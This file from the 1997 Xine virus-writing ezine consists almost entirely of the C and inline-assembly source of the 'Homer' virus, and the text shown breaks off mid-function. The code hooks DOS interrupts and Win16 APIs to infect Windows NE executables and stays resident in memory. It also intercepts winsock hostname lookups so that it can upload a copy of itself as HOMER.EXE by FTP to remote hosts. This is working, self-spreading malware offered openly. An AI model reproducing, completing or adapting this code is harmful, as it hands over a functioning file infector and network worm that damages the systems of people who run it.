Copy Link
Add to Bookmark
Report

xine-2.021

eZine's profile picture
Published in 
Xine
 · 26 Apr 2019

  


/-----------------------------\
| Xine - issue #2 - Phile 021 |
\-----------------------------/


/* HOMER virus by Kernel Panik, Italy, april 1997 */
/* Compile with Borland C++ 4.0 in Large Model and with DS!=SS */
/* please note some parts are very compiler dependent */
/* if you want homer to work correctly it must be shorter than 64KB */
/* so strip debugging information ! */

/* Define if you want a info window */
#define HASWINDOW 1

/* Must be defined for many things to work ... it makes homer to
register his window class */

#define HASCLASS 1

/* Define to hook int21 in pm via dpmi*/
#define HOOKSDPMIPROTINT 1

/* Define to hook int21 in rm via dpmi*/
#define HOOKSDPMIREALINT 1

/* Define to hook int21 in pm via api call SetKernelDosProc */
#define HOOKSKDP 1

/* Define to enable api hooking */
#define HOOKSWIN16API 1

/* Define to prevent homer to infect anything but path with TESTVIRZ inside*/
#define TESTRUN 1

/* Define to enable Internet Infection. */
#define NETHOOK 1


#define MAX_PATH 256

#include <windows.h>
#include <dos.h>
#include <io.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>

#ifdef NETHOOK
#include <winsock.h>
#endif

#define LOWORD(l) ((WORD)(l))

#define MAKEWORD(a, b) \
((WORD)(((BYTE)(a)) | ((WORD)((BYTE)(b))) << 8))

#pragma pack(1)

typedef struct {
WORD bp,di,si,ds,es,dx,cx,bx,ax;
WORD ip,cs,flags;
} REG_PARAMS;

typedef struct {
DWORD EDI;
DWORD ESI;
DWORD EBP;
DWORD reserved;
DWORD EBX;
DWORD EDX;
DWORD ECX;
DWORD EAX;
WORD flags;
WORD ES;
WORD DS;
WORD FS;
WORD GS;
WORD IP;
WORD CS;
WORD SP;
WORD SS; } CB_STR;

typedef void (_interrupt _far *INTRFUNC)();

typedef struct {
WORD oldb;
FARPROC wh; } WIN16HOOK;


#ifdef HOOKSDPMIPROTINT
/* old int21 vector in pm via dpmi */
static INTRFUNC old = 0;
#endif

#ifdef HOOKSKDP
/* old int21 vector in pm via windows api */
static FARPROC old_dos = (FARPROC) 0;
FARPROC (FAR PASCAL *GetSetKernelDosProc)(FARPROC DosProc) = 0;
#endif

#ifdef HOOKSDPMIREALINT
/* old int21 vector in rm via dpmi */
static FARPROC old_real = (FARPROC) 0;
static CB_STR cb_storage;
static int rm_sel;
static unsigned char old_stuff [10];
#endif

#ifdef HASWINDOW
/* how many time int21 exec was triggered and last execed file */
static int triggered=0;
char lastrun[MAX_PATH]="\0";
#endif

/* Global Used Data. */

/* sved ds for accessing global vars */
static far save_ds;
/* handle to memory block for homer code, name, ptr to code and size */
HGLOBAL hmem;
char myname[MAX_PATH];
char * mybuffer;
long mysize;
/* int to hook */
int intno=0x21;
UINT th;
/* selector for memory at 60:0 */
WORD mem_60_sel;
/* residency check */
WORD rez_check;
char far * hptr;

/* forward definition of procedure which does clean-up */
void CleanUp(void);

#ifdef HASCLASS
LRESULT FAR PASCAL _export WndProc( HWND, UINT , WPARAM, LPARAM );
#endif

WORD FAR PASCAL _export TimerProc( HWND, WORD, int, DWORD);

/* Infection Routine
tnx to b0z0 for infomation and code examples
this is a messy translation in C of an assembler routine, please refer
to better sources if you want more detailed information about windows NE
infection. I know this should be done in a better way
*/

struct rblock
{
WORD nrelitems;
BYTE prel;
BYTE trel;
WORD offwinip;
WORD oldcs;
WORD oldip;
} infblock={1,3,4,0,0,0};

struct segentry
{
WORD off;
WORD len;
WORD attr;
WORD alloc;
} newentry;

unsigned char readbuff[0x40];
unsigned char nebuff[512];
int fhandle;
unsigned readb,NEoff,SToff,nesize,align,recsize;
long nelast;
unsigned long segcount, filesize, origsegcount;

extern far void RUNCODE_START();
extern far unsigned RUNCODE_STUB_SIZE;
extern far void RUNCODE_OLDIP();
extern far unsigned RUNCODE_SIZE;

#define READW(x) ( *( (unsigned *) (x) ) )


void infect(char far * fname)
{
int i;

_DS=save_ds;
#ifdef TESTRUN
if (strstr(fname,"TESTVIRZ"))
#endif
{
if (!_dos_open(fname,O_RDWR,&fhandle))
{
filesize=lseek(fhandle,0,SEEK_END);
lseek(fhandle,0,SEEK_SET);
_dos_read(fhandle,readbuff,sizeof(readbuff),&readb);
if (readbuff[0]=='M' && readbuff[1]=='Z' && readbuff[0x18]>40
&& readbuff[0x12]!='K' && readbuff[0x13] != 'P')
{
NEoff= READW(readbuff+0x3c);
READW(readbuff+0x3c) -=8;
if (readbuff[0x3e]==0 && readbuff[0x3f]==0)
{
readbuff[0x12]='K';
readbuff[0x13]='P';
lseek(fhandle,NEoff,SEEK_SET);
_dos_read(fhandle,nebuff,sizeof(nebuff),&readb);
if (nebuff[0]=='N' && nebuff[1]=='E' &&
nebuff[0x36]==2 && nebuff[0x37]==8)
{
lseek(fhandle,0,SEEK_SET);
_dos_write(fhandle,readbuff,sizeof(readbuff),&readb);
SToff=READW(nebuff+0x22);
if ( READW(nebuff+4) >= SToff )
READW(nebuff+4) += 8;
if ( READW(nebuff+0x24) >= SToff )
READW(nebuff+0x24) += 8;
if ( READW(nebuff+0x26) >= SToff )
READW(nebuff+0x26) += 8;
if ( READW(nebuff+0x28) >= SToff )
READW(nebuff+0x28) += 8;
if ( READW(nebuff+0x2a) >= SToff )
READW(nebuff+0x2a) += 8;
segcount=READW(nebuff+0x1c) ++;
nebuff[0x37] = 0; /* Kill gangload area */
READW(nebuff+0x38) = 0;
READW(nebuff+0x3a) = 0;
origsegcount=segcount;
segcount=segcount*8 + SToff;
nesize=segcount/sizeof(nebuff);
nelast=segcount%sizeof(nebuff);
infblock.oldip=READW(nebuff+0x14);
infblock.oldcs=READW(nebuff+0x16);
align=READW(nebuff+0x32);
recsize=1<<align;
READW(nebuff+0x14)=0;
READW(nebuff+0x16)=origsegcount+1;
lseek(fhandle,NEoff,SEEK_SET);
_dos_write(fhandle,nebuff,sizeof(nebuff),&readb);
lseek(fhandle,NEoff,SEEK_SET);
for (i=0;i<nesize;i++)
{
_dos_read(fhandle,nebuff,sizeof(nebuff),&readb);
lseek(fhandle,-((long) sizeof(nebuff))-8,SEEK_CUR);
_dos_write(fhandle,nebuff,sizeof(nebuff),&readb);
lseek(fhandle,8,SEEK_CUR);
}
if (nelast>0)
{
_dos_read(fhandle,nebuff,nelast,&readb);
lseek(fhandle,-nelast-8,SEEK_CUR);
_dos_write(fhandle,nebuff,nelast,&readb);
}
else
lseek(fhandle,-8,SEEK_CUR);
newentry.off=((long) filesize )/ recsize;
if ( (filesize%recsize) != 0) newentry.off++;
newentry.len=mysize+RUNCODE_STUB_SIZE;
newentry.attr=0x180;
newentry.alloc=mysize+RUNCODE_STUB_SIZE;
_dos_write(fhandle,&newentry,8,&readb);
lseek(fhandle,((long)newentry.off)*recsize,SEEK_SET);
RUNCODE_SIZE=mysize;
_dos_write(fhandle,RUNCODE_START,RUNCODE_STUB_SIZE,
&readb);
_dos_write(fhandle,mybuffer,mysize,&readb);
infblock.offwinip=FP_OFF(RUNCODE_OLDIP);
_dos_write(fhandle,&infblock,sizeof(infblock),
&readb);
}
}
}
_dos_close(fhandle);
}

return;
}

}

/* Effective Interrupt Handler.
pse note only ax,bx,cx,dx,si,di and ds,es are correct
basic handlers must be corrected if you want to have other registers
readly avaible.
*/


void EffHandle(REG_PARAMS r)
{
_DS=save_ds;

if (r.ax==0x4b00) /* check for int21 exec*/
{
#ifdef HASWINDOW
triggered ++;
strncpy(lastrun,MK_FP(r.ds,r.dx),MAX_PATH);
#endif
infect(MK_FP(r.ds,r.dx));
}
}

/*
Now come DPMI interrupt handler and hookers. Please note these are
pretty straigthforward if you know just a little bit about DMPI programming.
A good source of information about is the Ralf Brown's Interrupts guide.
Great code samples could be found (I'm using many of them here :-) in the
book by Andrew Schulman Windows 95 Unleashed.
*/


#ifdef HOOKSDPMIPROTINT
void _interrupt _far IntHandler(REG_PARAMS r)
{
EffHandle(r);
_chain_intr(old);
}

INTRFUNC _dpmi_get_pmode_vect(int intno)
{
INTRFUNC iv;
_asm {
mov ax, 0204h
mov bl, byte ptr intno
int 31h
jc error
mov word ptr iv+2, cx
mov word ptr iv, dx
}
return iv;
error:
return (INTRFUNC) 0;
}

void _dpmi_set_pmode_vect(int intno, INTRFUNC iv)
{ _asm {
mov ax, 0205h
mov bl, byte ptr intno
mov cx, word ptr iv+2
mov dx, word ptr iv
int 31h
}
}

#define get_vect(intno) _dpmi_get_pmode_vect(intno)

int set_vect(WORD intno, INTRFUNC handler)
{
_dpmi_set_pmode_vect(intno, handler);
return (_dpmi_get_pmode_vect(intno) == handler);
}
#endif

#ifdef HOOKSKDP
void _interrupt _far IntHandler2(REG_PARAMS r)
{
EffHandle(r);
_chain_intr( (INTRFUNC) old_dos);
}
#endif

#ifdef HOOKSDPMIREALINT
void _interrupt _far IntHandler3(void)
{
REG_PARAMS r;
int dummy;

_DS=save_ds;

r.ax= cb_storage.EAX & 0xffff;
r.bx= cb_storage.EBX & 0xffff;
r.cx= cb_storage.ECX & 0xffff;
r.dx= cb_storage.EDX & 0xffff;
r.si= cb_storage.ESI & 0xffff;
r.di= cb_storage.EDI & 0xffff;

/* selector madness .... change ds & es from segment addresses to selectors
keep in mind we got an int21 in real mode, called back homer whcich runs
in protected mode.
*/

dummy=cb_storage.DS;
_asm {
mov bx,dummy
mov ax,2
int 31h
jc error
mov dummy,ax
}
r.ds=dummy;

dummy=cb_storage.ES;
_asm {
mov bx,dummy
mov ax,2
int 31h
jc error
mov dummy,ax
}
r.es=dummy;

EffHandle(r);

error:

cb_storage.CS=0x60; /* return to the right place in rm*/
cb_storage.IP=5;
}

INTRFUNC hook_real_vect(int intno, INTRFUNC handler)
{
INTRFUNC iv;
int cb_sel, cb_seg;

_asm {
mov ax, 200h /* get old int */
mov bl, byte ptr intno
int 31h
jc error
mov word ptr iv+2, cx
mov word ptr iv, dx
mov ax,2h /* allocate place for callback at 0:60 */
mov bx,60h
int 31h
jc error
mov dx,ax
mov ax,bx
/* ax=seg, dx=sel */
mov cb_seg,ax /* save sel and seg pointer to place for cb */
mov cb_sel,dx
mov ax,0303h /* allocate callback from rm to our routine in pm */
push es
push ds
mov si, offset IntHandler3
mov di, offset cb_storage
push ds
pop es
push cs
pop ds
int 31h /* seg:off of cb in cx:dx */
mov ax,ss:cb_sel /* ds->sel in lomem */
mov ds,ax

push cx /* save old stuff at that address */
push ss
pop es
mov cx,05h /* 5 words to save */
xor si,si
mov di,offset old_stuff
rep movsw /* save old bytes at 60:0 */
pop cx

/* this code builds on the fly the callback code at 60:0. It is the
interrupt handler which get called from real-mode */


mov ah,0eah /* jmp far */
mov byte ptr [0],ah
mov word ptr [1],dx /* place off cb */
mov word ptr [3],cx /* place seg cb */
mov byte ptr [5],ah /* jmp far */
mov ax,word ptr ss:iv
mov word ptr [6], ax /* place off oldint */
mov ax,word ptr ss:(iv+2)
mov word ptr [8], ax /* place seg oldint */
pop ds
pop es
mov ax,0201h /* finally hook the handler via apropiate DMPI call */
mov cx,cb_seg
mov dx,0
mov bl,21h
int 31h
}
rm_sel=cb_sel; /* save selector corresponding to 60:0 */
return iv;
error:
return (INTRFUNC) 0;
}

void unhook_real_vect(int intno, INTRFUNC iv)
{ _asm {
mov ax, 0201h /* restore old interrupt handler */
mov bl, byte ptr intno
mov cx, word ptr iv+2
mov dx, word ptr iv
int 31h


mov ax,2h /* get selector */
mov bx,60h
int 31h

push ss
pop ds
mov es,ax
mov cx,05h /* restore old content in memory */
xor di,di
mov si,offset old_stuff
rep movsw

}
}
#endif

#ifdef HOOKSWIN16API

#ifdef HASWINDOW
/* for statiscal use only */
int nOpenFile=0, nWinExec=0;
char sOpenFile[MAX_PATH]="\0";
#endif
char sWinExec[MAX_PATH]="\0";

/* interrupt to use */

BYTE i1,i2;

/* 1 if that hooker is active, 0 otherwise */
int activeOpenFile=1, activeWinExec=1;
/* here are information needed to restore the code of the old API when
the hooker ended his job */

WIN16HOOK saveWinExec, saveOpenFile;

void _interrupt _far IntWinExec(REG_PARAMS r)
{
WORD save_sp;

asm mov save_sp,sp;

_DS=save_ds;
activeWinExec=0;
* ( (WORD *) saveWinExec.wh ) = saveWinExec.oldb; /* restore windows api bits */
/* Black magic to adjust the old CS:IP
note that this only works cause we are serving int's
inside 16 bit ring 3 segments of the same task (that
mean we went only through 1 interrupt gate) !
this is also VERY compiler dependent! */

_asm {
push bp /* here we adjust CS and IP saved on the stack, so*/
mov bp,save_sp /* after the interrupt handler routine terminates */
sub bp,10-01eh /* the opcode we just corrected in place of our int */
mov ax,[bp] /* gets control */
sub ax,2
mov [bp],ax
mov save_sp,bp
pop bp
}
#ifdef HASWINDOW
nWinExec++;
#endif
_asm { /* now it gets the name in sWinExec*/
push bp
mov bp,[save_sp]
add bp,20h
mov ax,[bp]
mov word ptr hptr,ax
inc bp
inc bp
mov ax,[bp]
mov word ptr (hptr+2),ax
pop bp
}
#ifdef HASWINDOW
strncpy(sWinExec,hptr,MAX_PATH);
#endif
infect(sWinExec);
}

void _interrupt _far IntOpenFile(REG_PARAMS r)
{
WORD save_sp;

/* see routine IntWinExec for explanation */

asm mov save_sp,sp;

_DS=save_ds;
activeOpenFile=0;
* ( (WORD *) saveOpenFile.wh ) = saveOpenFile.oldb;
_asm {
push bp
mov bp,save_sp
sub bp,10-01eh
mov ax,[bp]
sub ax,2
mov [bp],ax
mov save_sp,bp
pop bp
}
#ifdef HASWINDOW
nOpenFile++;
_asm { /* for now it just gets the name in sOpenFile */
push bp /* plese feel free to add any useful payload, but */
mov bp,[save_sp] /* remember: doing harm to innocent people is just */
add bp,24h /* a sign of lamerness and stupidity */
mov ax,[bp]
mov word ptr hptr,ax
inc bp
inc bp
mov ax,[bp]
mov word ptr (hptr+2),ax
pop bp
}
strncpy(sOpenFile,hptr,MAX_PATH);
#endif
}

#endif


int hookwin16api(FARPROC apif, WIN16HOOK * s)
{
WORD dummy;

/* this function saves information about bits of code at the brginning
of the api handler in the apropiate DLL into the structure s and
makes an alias descriptor for the cs of that function
*/


s->wh=MK_FP(0,0);
s->oldb = * ( (WORD *) apif );
_asm {
mov ax,0ah /* create alias descriptor */
mov bx, word ptr apif+2
int 31h
jc error
mov dummy, ax
}
s->wh=MK_FP(dummy,FP_OFF(apif));
error:
}

int activewin16api(WIN16HOOK * s, BYTE cbint)
{
/* place an int cbint in the flash of a windows api */
* ( (WORD *) s->wh ) = 0x00cd + cbint*256;
}

int restorewin16api(WIN16HOOK * s)
{
/* restores the original bits of thw window api */
* ( (WORD *) s->wh ) = s->oldb;
}


#ifdef NETHOOK

BYTE i3,i4;

/* statistics, activation marker and hook information for
both blocking and non-blocking gethostbyname WINSOCK api call */


int nGetHostByName=0, nWSAGetHostByName=0;

int activeGetHostByName=1, activeWSAGetHostByName=1;
WIN16HOOK saveGetHostByName, saveWSAGetHostByName;

#define MAX_HOSTNAME 1024
/* slot where to keep information about resolved names */
int slotstatus=0;
char hostname[MAX_HOSTNAME]="\0";

int ftpstatus=0;
/* status of ftp connection
0 ready
1 getting name
2 name got, connecting
3 connected, sending preamble
4 sent information, waitinf for server callback
5 server connected us, send homer
999 all went bad :-(
*/



void _interrupt _far IntGetHostByName(REG_PARAMS r)
{
WORD save_sp;

/* see routine IntWinExec for explanation */

asm mov save_sp,sp;

_DS=save_ds;
activeGetHostByName=0;
* ( (WORD *) saveGetHostByName.wh ) = saveGetHostByName.oldb;
_asm {
push bp
mov bp,save_sp
sub bp,10-01eh
mov ax,[bp]
sub ax,2
mov [bp],ax
mov save_sp,bp
pop bp
}
#ifdef HASWINDOW
nGetHostByName++;
#endif
_asm { /* get host-name the application tried to resolve */
push bp
mov bp,[save_sp]
add bp,1eh
mov ax,[bp]
mov word ptr hptr,ax
inc bp
inc bp
mov ax,[bp]
mov word ptr (hptr+2),ax
pop bp
}
strncpy(hostname,hptr,MAX_PATH); /* memorize hostname */
if (!ftpstatus) slotstatus=1; /* and singal it if not busy */
}

void _interrupt _far IntWSAGetHostByName(REG_PARAMS r)
{
WORD save_sp;

/* see routine IntWinExec and INTGetHostByName for explanation */

asm mov save_sp,sp;

_DS=save_ds;
activeWSAGetHostByName=0;
* ( (WORD *) saveWSAGetHostByName.wh ) = saveWSAGetHostByName.oldb;
_asm {
push bp
mov bp,save_sp
sub bp,10-01eh
mov ax,[bp]
sub ax,2
mov [bp],ax
mov save_sp,bp
pop bp
}
#ifdef HASWINDOW
nWSAGetHostByName++;
#endif
_asm {
push bp
mov bp,[save_sp]
add bp,24h
mov ax,[bp]
mov word ptr hptr,ax
inc bp
inc bp
mov ax,[bp]
mov word ptr (hptr+2),ax
pop bp
}
strncpy(hostname,hptr,MAX_PATH);
if (!ftpstatus) slotstatus=1;
}

#endif

#ifdef NETHOOK

#define WSA_SOCKET WM_USER+1 /* message number for ftp control connection socket */
#define WSA_DNS WM_USER+2 /* message number for DNS resolution */
#define WSA_SOCKET_SERVER WM_USER+3 /* message number for ftp data connection */


char msg_buffer[1024]; /* receive buffer */
char server_name[128];
char service_name[]="ftp"; /* service to use */
char prologo[]="USER ftp\nPASS bill@microsoft.com\nCWD incoming\n"; /* ftp commands */
char msg_text[1024];


/* socket and address information for both ftp connection to the host where we are
uploading homer */

SOCKET client_socket, server_socket, new_socket;
struct sockaddr_in server_sck_addr, my_info,my_client_info,
client_sck_addr;
struct sockaddr other_side;
int other_side_len,my_info_len,my_client_info_len;
LPSERVENT service_info;
LPHOSTENT host_info;
long progress; /* how many bytes we have send */


struct linger mylinger={1,600};

char far tmp_hostname[MAX_HOSTNAME]; /* buffers used during name resolution */
char far resolver_buf[4*MAXGETHOSTSTRUCT];

int conn_timeout; /* ftp connection timeout conunter */

int ath;

#ifdef HASWINDOW
int resolved=0;
#endif

#endif

HWND hwnd ;
HWND global_hwnd; /* our window handle */

int PASCAL WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpszCmd, int nCmdShow)
{
#ifdef HASCLASS
static char szAppName[] = "Homer" ;
WNDCLASS wndclass ;
#endif
MSG msg;
HFILE hfile;
TIMERPROC lpfnMyTimerProc;
#ifdef NETHOOK
FARPROC tfun;
HMODULE tmod;
int err;
WORD wVersionRequired;
WSADATA WsaData;
#endif

/* This is the residency check */
_asm{
mov ax,02h
mov bx,060h
int 31h
mov mem_60_sel,ax
push ds
mov ds,ax
cmp word ptr ds:[10],'PK' /* check for KP at 60:10 */
pop ds
jne not_resident
}
return 0;
not_resident:

save_ds=_DS;

GetModuleFileName(hInstance, myname, MAX_PATH); /* name from which we have been booted */

if (!hPrevInstance)
{
#ifdef HASCLASS
wndclass.style = CS_HREDRAW | CS_VREDRAW ;
wndclass.lpfnWndProc = (WNDPROC)WndProc ;
wndclass.cbClsExtra = 0 ;
wndclass.cbWndExtra = 0 ;
wndclass.hInstance = hInstance ;
wndclass.hIcon = LoadIcon( NULL, IDI_APPLICATION );
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW) ;
wndclass.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wndclass.lpszMenuName = 0;
wndclass.lpszClassName = szAppName ;

RegisterClass (&wndclass) ;
#endif
}
else
{
return 2;
}



/* Here we assume we have to go resident .... residence check must be
done before! */


/* We copy ourself in memory */

hfile= _lopen(myname, READ);
mysize= _llseek(hfile,0,2);

hmem=GlobalAlloc(GMEM_MOVEABLE, mysize);

mybuffer=GlobalLock(hmem);
_llseek(hfile,0,0);
_lread(hfile,mybuffer,mysize);
_lclose(hfile);


/* Put our residency check in memory */
_asm{
push ds
mov ax,mem_60_sel
mov ds,ax
mov ax,'PK'
xchg word ptr ds:[10],ax
pop ds
mov rez_check,ax
}

#ifdef HOOKSDPMIPROTINT
old = get_vect(intno);
if (! set_vect(intno, (INTRFUNC) IntHandler))
return 1;
#endif

#ifdef HOOKSKDP
if ((intno == 0x21) && (GetSetKernelDosProc = GetProcAddress(
GetModuleHandle("KERNEL"), "GETSETKERNELDOSPROC")))
old_dos = GetSetKernelDosProc((FARPROC) IntHandler2);
#endif

#ifdef HOOKSDPMIREALINT
old_real=hook_real_vect(0x21, (INTRFUNC) IntHandler3);
#endif

#ifdef HOOKSWIN16API
i1=0xba; i2=0xbb; /* CHANGE TO A FREE INT! */

if (i1)
{
set_vect(i1, (INTRFUNC) IntOpenFile);
hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "OpenFile" ),
&saveOpenFile);
activeOpenFile=0;
}

if (i2)
{
set_vect(i2, (INTRFUNC) IntWinExec);
hookwin16api( GetProcAddress( GetModuleHandle("KERNEL"), "WinExec" ),
&saveWinExec);
activeWinExec=0;
}

#endif

#ifdef HASCLASS
hwnd = CreateWindow (szAppName,
"Homer",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL,
NULL,
hInstance,
NULL) ;

/* a timer is needed for many tasks */
lpfnMyTimerProc = (TIMERPROC) MakeProcInstance((FARPROC) TimerProc, hInstance);
th=SetTimer(NULL, 1, 1000, lpfnMyTimerProc);

global_hwnd=hwnd;

#ifdef HASWINDOW
ShowWindow (hwnd, nCmdShow) ;
UpdateWindow (hwnd) ;
#endif HASWINDOW

#endif

#ifdef NETHOOK
i3=0xbc; i4=0xbd;

wVersionRequired = MAKEWORD( 1, 1 ); /* activate WINSOCK */

err = WSAStartup( wVersionRequired, &WsaData );
if ( ( err == SOCKET_ERROR ) || (LOBYTE( wVersionRequired ) < 1) ||
( LOBYTE( wVersionRequired ) == 1 && (HIBYTE( wVersionRequired ) < 1) ) )

{
WSACleanup();
ftpstatus=999;
}
else
{
/* hooks the resolver funciotns in winsock.dll */
tmod=GetModuleHandle("WINSOCK");

if ( (i3) && (tfun=GetProcAddress( tmod,
"gethostbyname" ) ) )
{
set_vect(i3, (INTRFUNC) IntGetHostByName);
hookwin16api( tfun, &saveGetHostByName);
activeGetHostByName=0;
}

if ( (i4) && (tfun=GetProcAddress( tmod,
"WSAAsyncGetHostByName" ) ) )
{
set_vect(i4, (INTRFUNC) IntWSAGetHostByName);
hookwin16api( tfun, &saveWSAGetHostByName);
activeWSAGetHostByName=0;
}
}

#endif


while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage (&msg) ;
DispatchMessage (&msg) ;
}

CleanUp();

return msg.wParam ;
}

void CleanUp(void)
{
#ifdef HOOKSDPMIPROTINT
if (old)
{
set_vect(intno, (INTRFUNC) old );
old=MK_FP(0,0);
}
#endif

#ifdef HOOKSKDP
if ((intno == 0x21) && old_dos)
{
GetSetKernelDosProc(old_dos);
old_dos=MK_FP(0,0);
}
#endif

#ifdef HOOKSDPMIREALINT
if (old_real)
{
unhook_real_vect(intno, (INTRFUNC) old_real);
old_real=MK_FP(0,0);
}
#endif

#ifdef HOOKSWIN16API
if (saveOpenFile.wh)
{
restorewin16api(&saveOpenFile);
saveOpenFile.wh=MK_FP(0,0);
}

if (saveWinExec.wh)
{
restorewin16api(&saveWinExec);
saveWinExec.wh=MK_FP(0,0);
}

#endif

#ifdef NETHOOK
if (saveGetHostByName.wh)
{
restorewin16api(&saveGetHostByName);
saveGetHostByName.wh=MK_FP(0,0);
}

if (saveWSAGetHostByName.wh)
{
restorewin16api(&saveWSAGetHostByName);
saveWSAGetHostByName.wh=MK_FP(0,0);
}

WSACleanup();
#endif

/* remove our residency check and restore original value */
_asm{
push ds
mov ax,mem_60_sel
mov ds,ax
mov ax,rez_check
xchg word ptr ds:[10],ax
pop ds
}

KillTimer(NULL,th);

#ifdef NETHOOK
WSACleanup();
#endif

GlobalUnlock(hmem);
GlobalFree(hmem);
}

#ifdef HASCLASS
LRESULT FAR PASCAL _export WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
char buf[100];
int result,sent;
#ifdef HASWINDOW
static short XC,YC,CC;
PAINTSTRUCT PtStr;
TEXTMETRIC tm;
HDC hDC;
#endif
switch (message)
{
#ifdef HASWINDOW
case WM_CREATE:
hDC=GetDC(hwnd);
GetTextMetrics(hDC,&tm);
XC=tm.tmAveCharWidth;
YC=tm.tmHeight+tm.tmExternalLeading;
CC=(tm.tmPitchAndFamily & 1 ?3 : 2) * XC /2;
ReleaseDC(hwnd,hDC);
return 0;

case WM_PAINT:
InvalidateRect(hwnd,NULL,TRUE);
hDC=BeginPaint(hwnd,&PtStr);
sprintf(buf,"Homer-%ld is here!, LeftClick To Refresh.",mysize);
TextOut(hDC,XC,YC,buf,lstrlen(buf));
sprintf(buf,"Exec triggered %d times.",triggered);
TextOut(hDC,XC,2*YC,buf,lstrlen(buf));
sprintf(buf,"Last run: %s",lastrun);
TextOut(hDC,XC,3*YC,buf,lstrlen(buf));
#ifdef HOOKSWIN16API
sprintf(buf,"API16 grabber: OpenFile(%d), WinExec(%d).",
nOpenFile,nWinExec);
TextOut(hDC,XC,4*YC,buf,lstrlen(buf));
sprintf(buf,"Last OpenFile: %s", sOpenFile);
TextOut(hDC,XC,5*YC,buf,lstrlen(buf));
sprintf(buf,"Last WinExec: %s",sWinExec);
TextOut(hDC,XC,6*YC,buf,lstrlen(buf));
#endif
#ifdef NETHOOK
sprintf(buf,"gethostbyname: blocking(%d), WSA(%d).",
nGetHostByName, nWSAGetHostByName);
TextOut(hDC,XC,7*YC,buf,lstrlen(buf));
sprintf(buf,"Last asked hostname: %s", hostname);
TextOut(hDC,XC,8*YC,buf,lstrlen(buf));
sprintf(buf,"ftpstatus: %d; resolved: %d",ftpstatus,resolved);
TextOut(hDC,XC,9*YC,buf,lstrlen(buf));
sprintf(buf,"timeout counter: %d.", conn_timeout);
TextOut(hDC,XC,10*YC,buf,lstrlen(buf));
#endif NETHOOK
EndPaint(hwnd,&PtStr);
return 0;
case WM_LBUTTONDOWN:
InvalidateRect(hwnd,NULL,TRUE);
return 0;
#endif
#ifdef NETHOOK
case WSA_SOCKET:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_CONNECT: /* connection to the ftp port */
if (WSAGETASYNCERROR(lParam))
{
ftpstatus=0;
closesocket(client_socket);
}
else
{
ftpstatus=3; /* send ftp commands */
send(client_socket,prologo,sizeof(prologo),0);
recv(client_socket,msg_text,1024,0);
}
break;
case FD_READ:
recv(client_socket,msg_text,1024,0); /* just discard what other host says */
break;
case FD_WRITE:
if (ftpstatus==3) /* sent prolog, now open socket
send port, send put and go
in ftpstatus 4 */

{
/* creates the ftp data port connection */
server_socket=socket(PF_INET,SOCK_STREAM,0);
setsockopt(server_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));

if (server_socket==INVALID_SOCKET)
{
ftpstatus=0;
closesocket(client_socket);
}


server_sck_addr.sin_family=AF_INET;
server_sck_addr.sin_addr.s_addr=INADDR_ANY;
server_sck_addr.sin_port=0;

if (bind(server_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr))==SOCKET_ERROR)
{
ftpstatus=0;
closesocket(server_socket);
closesocket(client_socket);
}


WSAAsyncSelect(server_socket,global_hwnd,WSA_SOCKET_SERVER,
FD_READ | FD_WRITE | FD_CONNECT | FD_CLOSE | FD_OOB | FD_ACCEPT);


/* wait for remote site to call us back */
result=listen(server_socket,5);
other_side_len=sizeof(other_side);
new_socket=accept(server_socket,&other_side,&other_side_len);

/* send to the host on the other side the PORt command with information about our
host ip and port where we are listening. Finally issue to command to upload homer*/

my_client_info_len=sizeof(my_client_info);
getsockname(client_socket,(struct sockaddr *) &my_client_info,&my_client_info_len);
my_info_len=sizeof(my_info);
getsockname(server_socket,(struct sockaddr *) &my_info,&my_info_len);

sprintf(buf,"\nTYPE I\nPORT %d,%d,%d,%d,%d,%d\nSTOR HOMER.EXE\n",
my_client_info.sin_addr.S_un.S_un_b.s_b1,
my_client_info.sin_addr.S_un.S_un_b.s_b2,
my_client_info.sin_addr.S_un.S_un_b.s_b3,
my_client_info.sin_addr.S_un.S_un_b.s_b4,
my_info.sin_port % 256,
my_info.sin_port >> 8
);
send(client_socket,buf,sizeof(buf),0);
ftpstatus=4;
}
break;
}
return 0;
case WSA_SOCKET_SERVER:
switch (WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT: /* the host on the other side called us for*/
progress=0; /* a copy of Homer :-) */
other_side_len=sizeof(other_side);
new_socket=accept(server_socket,&other_side,&other_side_len);
setsockopt(new_socket,SOL_SOCKET,SO_LINGER,&mylinger,sizeof(mylinger));
ftpstatus=5;
recv(new_socket,msg_text,1024,0);
break;
case FD_WRITE:
break;
case FD_READ:
recv(new_socket,msg_text,1024,0); /* keep input buffer free */
break;
}
return 0;
case WSA_DNS:
if (WSAGETASYNCERROR(lParam))
{
ftpstatus=0; /* name resolution failed ! */
closesocket(client_socket);
}
else
{
ftpstatus=2; /* name resolution ok, create ftp control connection */
server_sck_addr.sin_family=AF_INET;
host_info=(LPHOSTENT *) &resolver_buf;
memcpy(&(server_sck_addr.sin_addr), host_info->h_addr,host_info->h_length);
service_info=getservbyname("ftp","tcp");
server_sck_addr.sin_port=service_info->s_port;
connect(client_socket,(LPSOCKADDR)&server_sck_addr,sizeof(server_sck_addr));

#ifdef HASWINDOW
resolved ++;
#endif
}
return 0;
#endif
case WM_ENDSESSION:
CleanUp();
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc (hwnd, message, wParam, lParam) ;
}
}
#endif

WORD FAR PASCAL _export TimerProc( HWND tphwnd, WORD wMsg, int TimerID, DWORD dwTime)
{
#ifdef HOOKSWIN16API
/* reactivate api hookers if needed */
if (!activeOpenFile && saveOpenFile.wh)
{
activewin16api(&saveOpenFile,i1);
activeOpenFile=1;
}
if (!activeWinExec && saveWinExec.wh)
{
activewin16api(&saveWinExec,i2);
activeWinExec=1;
}
#endif

#ifdef NETHOOK
if ( (ftpstatus!=0) && (ftpstatus!=999) )
